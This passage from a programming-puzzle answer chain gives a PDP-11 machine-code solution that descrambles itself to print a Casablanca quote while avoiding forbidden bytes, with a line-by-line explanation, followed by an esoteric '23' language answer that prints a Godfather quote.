rrrlratarltararlratarltararltararlratarltararltararlratarltararlratarltararlratarlratarltararlratarltararlratarltararlranaw rrrltararltararltararltararltararltararlratarltararlratarlratarltararlratarlratarltararltararlrarcw rrrltararltararltararltararlratarltararlratarltararltararlratarlratarlratarltararltararltararlratcw rrrlratarltararltararltararlratarlratarltararlratarltararltararlratarlratarltararlratarltararlratarltararlra449nlarc9nnatcrl4K4KDcDcDcDc u444444DuS4S4S4SaS4S4S4S4SaDuc4cac4c4c4c4caKac4caDuSaKaKaSaSaS4KaSaS4S4SaKaSaDuc4c4cacacaKac4c4cac4DuS4S4S4S4S4S4S4S4S4Ducac4c4c4c4c4caKacacaKaDuKaSaKaSaKaSaKaKaSaS4S4S4S4KaSaw rrrl4K4Kw rrw rruulnau8DK KcScu wrl48494444SD44K44D4n44SD44K44D4l84KD484D9K4DD4449D444D9K444D44DDD44DDD44K4884444DD944SDD8 r8wt44ucD8 uK8Scnn wuKwK4uauK4luwKwKu4wcnn wuKwK4uauK4lwwKwKr8wa8uSu44DcDrnurwrwlKwlltuwaKcltwwwnSwrDrturwrwlKwlKatwtKwlulwtnnwnDltrrnuntKwlcnwtcDcrDKnlSKrllluwtwwwDltwannwn8na ``` Output is quote 28: ``` "Play it, Sam. Play 'As Time Goes By.'" - Ilsa Lund ``` [Previously forbidden](https://codegolf.stackexchange.com/a/42068/25315): ``` ?!"#$%&'()*+,-./0123567:;<=>@[\]^_` AbBCdeEFfgGhHiIjJkLmMNopPqQRsTUvVWxXyYzZ{|}~ ``` Remaining characters: * Numbers: `4` `8` `9` * Uppercase: `D` `K` `S` * Lowercase: `a` `c` `l` `n` `r` `t` `u` `w` --- A few technical details: * All linebreaks use unix style (1 byte 0x0a) * There is no linebreak at the end of the file (though it shouldn't matter) * There are 3 tab characters * File size is 1260 bytes To verify this code, I used the [Ersatz-11](http://www.dbit.com/) simulator. To run the code, write the code into a file `test.pdp`, run the simulator, and enter: ``` load test go ``` The result: ``` ... E11>load test E11>go "Play it, Sam. Play 'As Time Goes By.'" - Ilsa Lund %HALT ... ``` Source code (all numbers are in octal notation): ``` clr 60562(r4) ; com 60562(r2) com 71162(pc) ; nop ; add 60562(r1), 60564(r2) ; a = ffff b = ffff add 60564(r1), 60562(r2) ; a = fffe b = ffff add 60564(r1), 60562(r2) ; a = fffd b = ffff add 60564(r1), 60562(r2) ; a = fffc b = ffff add 60562(r1), 60564(r2) ; a = fffc b = fffb add 60564(r1), 60562(r2) ; a = fff7 b = fffb add 60562(r1), 60564(r2) ; a = fff7 b = fff2 add 60562(r1), 60564(r2) ; a = fff7 b = ffe9 add 60564(r1), 60562(r2) ; a = ffe0 b = ffe9 add 60562(r1), 60564(r2) ; a = ffe0 b = ffc9 add 60562(r1), 60564(r2) ; a = ffe0 b = ffa9 add 60564(r1), 60562(r2) ; a = ff89 b = ffa9 add 60562(r1), 60564(r2) ; a = ff89 b = ff32 add 60564(r1), 60562(r2) ; a = febb b = ff32 add 60562(r1), 60564(r2) ; a = febb b = fded add 60564(r1), 60562(r2) ; a = fca8 b = fded add 60562(r1), 60564(r2) ; a = fca8 b = fa95 add 60564(r1), 60562(r2) ; a = f73d b = fa95 add 60562(r1), 60564(r2) ; a = f73d b = f1d2 add 60564(r1), 60562(r2) ; a = e90f b = f1d2 add 60562(r1), 61464(r2) ; contains patch1 com 71162(pc) add 60562(r1), 60564(r2) ; a = e90f b = dae1 add 60562(r1), 60564(r2) ; a = e90f b = c3f0 add 60564(r1), 60562(r2) ; a = acff b = c3f0 add 60562(r1), 60564(r2) ; a = acff b = 70ef add 60562(r1), 60564(r2) ; a = acff b = 1dee add 60562(r1), 60564(r2) ; a = acff b = caed add 60564(r1), 60562(r2) ; a = 77ec b = caed add 60564(r1), 60562(r2) ; a = 42d9 b = caed add 60562(r1), 60564(r2) ; a = 42d9 b = 0dc6 add 60562(r1), 60564(r2) ; a = 42d9 b = 509f add 60562(r1), 60564(r2) ; a = 42d9 b = 9378 add 60564(r1), 60562(r2) ; a = d651 b = 9378 add 60562(r1), 61470(r2) ; contains patch2 com 71162(pc) add 60564(r1), 60562(r2) ; a = 69c9 b = 9378 add 60562(r1), 60564(r2) ; a = 69c9 b = fd41 add 60562(r1), 60564(r2) ; a = 69c9 b = 670a add 60562(r1), 60564(r2) ; a = 69c9 b = d0d3 add 60564(r1), 60562(r2) ; a = 3a9c b = d0d3 add 60564(r1), 60562(r2) ; a = 0b6f b = d0d3 add 60564(r1), 60562(r2) ; a = dc42 b = d0d3 add 60562(r1), 60564(r2) ; a = dc42 b = ad15 add 60562(r1), 60564(r2) ; a = dc42 b = 8957 add 60564(r1), 60562(r2) ; a = 6599 b = 8957 add 60562(r1), 60564(r2) ; a = 6599 b = eef0 add 60562(r1), 60564(r2) ; a = 6599 b = 5489 add 60564(r1), 60562(r2) ; a = ba22 b = 5489 add 60564(r1), 60562(r2) ; a = 0eab b = 5489 add 60564(r1), 60562(r2) ; a = 6334 b = 5489 add 60562(r1), 60554(r2) ; contains addr of patch1 com 71162(pc) add 60562(r1), 60564(r2) ; a = 6334 b = b7bd add 60564(r1), 60562(r2) ; a = 1af1 b = b7bd add 60562(r1), 60564(r2) ; a = 1af1 b = d2ae add 60564(r1), 60562(r2) ; a = ed9f b = d2ae add 60564(r1), 60562(r2) ; a = c04d b = d2ae add 60562(r1), 60564(r2) ; a = c04d b = 92fb add 60564(r1), 60562(r2) ; a = 5348 b = 92fb add 60564(r1), 60562(r2) ; a = e643 b = 92fb add 60562(r1), 60564(r2) ; a = e643 b = 793e add 60564(r1), 60562(r2) ; a = 5f81 b = 793e add 60562(r1), 60564(r2) ; a = 5f81 b = d8bf add 60564(r1), 60562(r2) ; a = 3840 b = d8bf add 60562(r1), 60564(r2) ; a = 3840 b = 10ff add 60562(r1), 60564(r2) ; a = 3840 b = 493f add 60564(r1), 60562(r2) ; a = 817f b = 493f add 60562(r1), 60564(r2) ; a = 817f b = cabe add 60564(r1), 60562(r2) ; a = 4c3d b = cabe add 60562(r1), 60564(r2) ; a = 4c3d b = 16fb add 60564(r1), 60562(r2) ; a = 6338 b = 16fb add 60562(r1), 60556(r2) ; contains addr of patch2 com 71162(pc) add 60564(r1), 60562(r2) ; a = 7a33 b = 16fb add 60564(r1), 60562(r2) ; a = 912e b = 16fb add 60564(r1), 60562(r2) ; a = a829 b = 16fb add 60564(r1), 60562(r2) ; a = bf24 b = 16fb add 60564(r1), 60562(r2) ; a = d61f b = 16fb add 60564(r1), 60562(r2) ; a = ed1a b = 16fb add 60562(r1), 60564(r2) ; a = ed1a b = 0415 add 60564(r1), 60562(r2) ; a = f12f b = 0415 add 60562(r1), 60564(r2) ; a = f12f b = f544 add 60562(r1), 60564(r2) ; a = f12f b = e673 add 60564(r1), 60562(r2) ; a = d7a2 b = e673 add 60562(r1), 60564(r2) ; a = d7a2 b = be15 add 60562(r1), 60564(r2) ; a = d7a2 b = 95b7 add 60564(r1), 60562(r2) ; a = 6d59 b = 95b7 add 60564(r1), 60562(r2) ; a = 0310 b = 95b7 add 60562(r1), 61562(r2) ; contains addr of cmd1 com 71162(pc) add 60564(r1), 60562(r2) ; a = 98c7 b = 95b7 add 60564(r1), 60562(r2) ; a = 2e7e b = 95b7 add 60564(r1), 60562(r2) ; a = c435 b = 95b7 add 60564(r1), 60562(r2) ; a = 59ec b = 95b7 add 60562(r1), 60564(r2) ; a = 59ec b = efa3 add 60564(r1), 60562(r2) ; a = 498f b = efa3 add 60562(r1), 60564(r2) ; a = 498f b = 3932 add 60564(r1), 60562(r2) ; a = 82c1 b = 3932 add 60564(r1), 60562(r2) ; a = bbf3 b = 3932 add 60562(r1), 60564(r2) ; a = bbf3 b = f525 add 60562(r1), 60564(r2) ; a = bbf3 b = b118 add 60562(r1), 60564(r2) ; a = bbf3 b = 6d0b add 60564(r1), 60562(r2) ; a = 28fe b = 6d0b add 60564(r1), 60562(r2) ; a = 9609 b = 6d0b add 60564(r1), 60562(r2) ; a = 0314 b = 6d0b add 60562(r1), 61564(r2) ; contains addr of cmd2 com 71162(pc) add 60562(r1), 60564(r2) ; a = 0314 b = 701f add 60564(r1), 60562(r2) ; a = 7333 b = 701f add 60564(r1), 60562(r2) ; a = e352 b = 701f add 60564(r1), 60562(r2) ; a = 5371 b = 701f add 60562(r1), 60564(r2) ; a = 5371 b = c390 add 60562(r1), 60564(r2) ; a = 5371 b = 1701 add 60564(r1), 60562(r2) ; a = 6a72 b = 1701 add 60562(r1), 60564(r2) ; a = 6a72 b = 8173 add 60564(r1), 60562(r2) ; a = ebe5 b = 8173 add 60564(r1), 60562(r2) ; a = 6d58 b = 8173 add 60562(r1), 60564(r2) ; a = 6d58 b = eecb add 60562(r1), 60564(r2) ; a = 6d58 b = 5c23 add 60564(r1), 60562(r2) ; a = c97b b = 5c23 add 60562(r1), 60564(r2) ; a = c97b b = 259e add 60564(r1), 60562(r2) ; a = ef19 b = 259e add 60562(r1), 60564(r2) ; a = ef19 b = 14b7 add 60564(r1), 60562(r2) ; a = 03d0 b = 14b7 add 60562(r1), 32064(r2) ; contains value of r3 add @60554(r0), @61562(r1) add @60556(r0), @61564(r1) ; add 45464(r1), 45464(r2) ; nop add (r5), r4 add (r5), r4 add (r5), r4 add (r5), r4 ash (r1), r4 ; ; must be at address 0x310 (01420) .word 32064 ; patch it with 0xe90f - it becomes... ; mov 32064(r5), r3 .word 32064 .word 32064 ; patch it with 0xd651 - it becomes... ; inc r5 ; ; patch the patcher ; ash r4, r5 bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ add r5, (r3)+ ; [3] = 0x443c bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ add r5, (r3)+ ; [8] = 0x727b ash r4, r5 bit (r1)+, -(r3) add r5, -(r3) ; [7] = 0x0a85 bit (r1)+, -(r3) bit (r1)+, -(r3) bit (r1)+, -(r3) bit (r1)+, -(r3) add r5, -(r3) ; [2] = 0x7571 add r5, (r3) ; [2] = 0x7581 bit (r1)+, -(r3) add r5, -(r3) ; [0] = 0x7585 ash r4, r5 add r5, (r3)+ ; [0] = 0x75c5 add r5, (r3) ; [1] = 0x6eac add r5, (r3) ; [1] = 0x6eec add r5, (r3)+ ; [1] = 0x6f2c add r5, (r3)+ ; [2] = 0x75c1 bit (r1)+, (r3)+ add r5, (r3) ; [4] = 0x0a8b add r5, (r3)+ ; [4] = 0x0acb bit (r1)+, (r3)+ bit (r1)+, (r3)+ add r5, (r3)+ ; [7] = 0x0ac5 add r5, (r3) ; [8] = 0x72bb add r5, (r3)+ ; [8] = 0x72fb ash r4, r5 bit (r1)+, -(r3) bit (r1)+, -(r3) add r5, -(r3) ; [6] = 0x6453 add r5, -(r3) ; [5] = 0x644b add r5, -(r3) ; [4] = 0x0bcb add r5, (r3) ; [4] = 0x0ccb bit (r1)+, -(r3) bit (r1)+, -(r3) add r5, -(r3) ; [1] = 0x702c bit (r1)+, -(r3) ash r4, r5 bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ ash r4, r5 add r5, -(r3) ; [8] = 0x82fb bit (r1)+, -(r3) bit (r1)+, -(r3) bit (r1)+, -(r3) bit (r1)+, -(r3) bit (r1)+, -(r3) add r5, -(r3) ; [2] = 0x85c1 add r5, (r3) ; [2] = 0x95c1 add r5, -(r3) ; [1] = 0x802c add r5, -(r3) ; [0] = 0x85c5 add r5, (r3) ; [0] = 0x95c5 ash r4, r5 add r5, (r3) ; [0] = 0xd5c5 add r5, (r3)+ ; [0] = 0x15c5 add r5, (r3) ; [1] = 0xc02c add r5, (r3)+ ; [1] = 0x002c add r5, (r3) ; [2] = 0xd5c1 add r5, (r3)+ ; [2] = 0x15c1 add r5, (r3) ; [3] = 0x843c add r5, (r3) ; [3] = 0xc43c add r5, (r3)+ ; [3] = 0x043c bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ bit (r1)+, (r3)+ add r5, (r3) ; [8] = 0xc2fb add r5, (r3)+ ; [8] = 0x02fb ; com 71162(pc) add 45464(r1), 45464(r2) ; nop com 71162(pc) com 71162(pc) ; ; ------------------------ ; must be at address 0x3d0 (01720) .word 072565 .word 067154 .word 072541 .word 042070 .word 005113 .word 061513 .word 061523 .word 005165 .word 071167 ; After patching, this code becomes... ; mov #51, r5 ; mov #002074, r1 ; patch_loop: ; asl (r3) ; add (r1)+, (r3) ; add (r1)+, (r3)+ ; dec r5 ; bne patch_loop ; .byte 154, 064 .byte 070, 064 .byte 071, 064 .byte 064, 064 .byte 064, 123 .byte 104, 064 .byte 064, 113 .byte 064, 064 .byte 104, 064 .byte 156, 064 .byte 064, 123 .byte 104, 064 .byte 064, 113 .byte 064, 064 .byte 104, 064 .byte 154, 070 .byte 064, 113 .byte 104, 064 .byte 070, 064 .byte 104, 071 .byte 113, 064 .byte 104, 104 .byte 064, 064 .byte 064, 071 .byte 104, 064 .byte 064, 064 .byte 104, 071 .byte 113, 064 .byte 064, 064 .byte 104, 064 .byte 064, 104 .byte 104, 104 .byte 064, 064 .byte 104, 104 .byte 104, 064 .byte 064, 113 .byte 064, 070 .byte 070, 064 .byte 064, 064 .byte 064, 104 .byte 104, 071 .byte 064, 064 .byte 123, 104 .byte 104, 070 ; ; After patching, this code becomes... ; mov #32, r1 ; mov #002006, r0 ;out_loop: ; tstb @#0177564 ; bpl out_loop ; mov (r0),@#0177566 ; swab (r0) ;out_wait: ; tstb @#0177564 ; bpl out_wait ; mov (r0)+,@#0177566 ; dec r1 ; bpl out_loop ; halt ; "Play it, Sam. Play 'As Time Goes By.'" - Ilsa Lund ; .byte 12, 12 ; linebreaks for "readability" .byte 162, 070 .byte 167, 164 .byte 064, 064 .byte 165, 143 .byte 104, 070 .byte 012, 165 .byte 113, 070 .byte 123, 143 .byte 156, 156 .byte 011, 167 .byte 165, 113 .byte 167, 113 .byte 064, 165 .byte 141, 165 .byte 113, 064 .byte 154, 165 .byte 167, 113 .byte 167, 113 .byte 165, 064 .byte 167, 143 .byte 156, 156 .byte 011, 167 .byte 165, 113 .byte 167, 113 .byte 064, 165 .byte 141, 165 .byte 113, 064 .byte 154, 167 .byte 167, 113 .byte 167, 113 .byte 162, 070 .byte 167, 141 .byte 070, 165 .byte 123, 165 .byte 064, 064 .byte 104, 143 .byte 104, 162 .byte 156, 165 .byte 162, 167 .byte 162, 167 .byte 154, 113 .byte 167, 154 .byte 154, 164 .byte 165, 167 .byte 141, 113 .byte 143, 154 .byte 164, 167 .byte 167, 167 .byte 156, 123 .byte 167, 162 .byte 104, 162 .byte 164, 165 .byte 162, 167 .byte 162, 167 .byte 154, 113 .byte 167, 154 .byte 113, 141 .byte 164, 167 .byte 164, 113 .byte 167, 154 .byte 165, 154 .byte 167, 164 .byte 156, 156 .byte 167, 156 .byte 104, 154 .byte 164, 162 .byte 162, 156 .byte 165, 156 .byte 164, 113 .byte 167, 154 .byte 143, 156 .byte 167, 164 .byte 143, 104 .byte 143, 162 .byte 104, 113 .byte 156, 154 .byte 123, 113 .byte 162, 154 .byte 154, 154 .byte 165, 167 .byte 164, 167 .byte 167, 167 .byte 104, 154 .byte 164, 167 .byte 141, 156 .byte 156, 167 .byte 156, 070 .byte 156, 141 ``` --- It's easier to explain how this works from the beginning to the end. The output part is like this (each iteration outputs 2 bytes): ``` mov #32, r1 mov #002006, r0 out_loop: tstb @#0177564 bpl out_loop mov (r0),@#0177566 swab (r0) out_wait: tstb @#0177564 bpl out_wait mov (r0)+,@#0177566 dec r1 bpl out_loop halt ----- "Play it, Sam. Play 'As Time Goes By.'" - Ilsa Lund ``` This code contains many forbidden bytes, both in the code and in the output message. To fix that, the code is scrambled: each word (16 bits) is represented as a sum of 3 numbers: ``` code = 2 * a + b + c ``` Patching (unscrambling) code: ``` mov #51, r5 mov #002074, r1 patch_loop: asl (r3) add (r1)+, (r3) add (r1)+, (r3)+ dec r5 bne patch_loop ``` This code itself contains forbidden bytes, but it is much shorter (9 words). The patcher that descrambles this code only uses permitted bytes (it's under the "patch the patcher" comment in the source), so it has a very limited set of operations (basically, just "add"), so patching many bytes would be too much code. Using this patcher is not straightforward. To patch large amounts of data with simple code, I needed instructions like `add r5, (r3)+` and `add r5, -(r3)` - and the only registers that could be used like this were `r3` and `r5`. Unfortunately, no allowed commands can be used to initialize these registers, so I had to patch instructions that did that: ``` mov 32064(r5), r3 inc r5 ``` This required patching only 2 words. I have searched for quite some time for a way to do the patching; the only way I came up with was using the infamous "indirect" mode: ``` ... (much preparation here) add @60554(r0), @61562(r1) add @60556(r0), @61564(r1) ``` To run these two instructions, quite a bit of preparation is needed: * Store a patching value (`patch1`) in memory * Store a pointer to the patching mask in memory * Store a pointer to the instruction to be patched in memory To generate all these constants, I used the following instructions: ``` add 60562(r1), 60564(r2) ; add a to b add 60564(r1), 60562(r2) ; add b to a ``` They use words at addressed 060562 and 060564 as temporary variables; a right arrangement of these two instructions can generate any value in 10-20 steps. --- Instructions used in this code (excluding any that are patched): ``` clr offset(rN) - a no-op; its machine code is used to obtain the number 2 com offset(rN) - used to obtain the number -1 add offset1(rN), offset2(rM) - used for arithmetic add @offset1(rN), @offset2(rM) com offset(pc) - a no-op (it actually writes junk to memory) add (r5), r4 - one of a few "sane" instructions! ash r4, r5 - another useful sane instruction bit ... - used for its only side effect - increment or decrement add r5, (r3)+ } add r5, (r3) } By luck, all of these commands can be used! add r5, -(r3) } ``` [Answer] # 7. [23](http://web.archive.org/web/20060717035053/http://www.philipp-winterberg.de/software/23e.php), uses no `l` ``` KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKK ``` With the trailing linefeed (that *must* be present), there are exactly 64 linefeeds in this code. Executing it prints the second quote: ``` "I'm gonna make him an offer he can't refuse." - Vito Corleone ``` *Thanks to @jimmy23013 for pointing me to this challenge.* ### Verification Since this above code works in the [online interpreter](http://web.archive.org/web/20070213142054/http://www.philipp-winterberg.de/software/23inte.php), uses no spaces (**pure 23**), no **x**s (**23.ixsy**) and no commas (**23.dezsy**), I assume it's valid **23.easy** (undocumented), which just takes line length into account. The code (read backwards) is equivalent to the following **23.dezsy** code: ``` 17,62,34,73,39,109,32,103,111,110,110,97,32,109,97,107,101,32,104,105,109,32,97,110,32,111,102,102,101,114,32,104,101,32,99,97,110,39,116,32,114,101,102,117,115,101,46,34,32,45,32,86,105,116,111,32,67,111,114,108,101,111,110,101 ``` `17,62` instructs the interpreter to print the **62** integers that follow as characters. The interpreter seems to require one more character on each line than it should. I assume this is to account for Windows-style newlines. To make the code work according to the spec (or in a browser that introduces carriage returns), remove one `K` from each line. To test the code, paste it in the **Source** area, press `Enter` to insert the trailing linefeed, type `23` in the **Console** area (to switch from the default **23.dezsy** notation to auto-detection) and click `Run Interpreter!`. [Answer] # 66 - Pyth, uses no `e` ``` 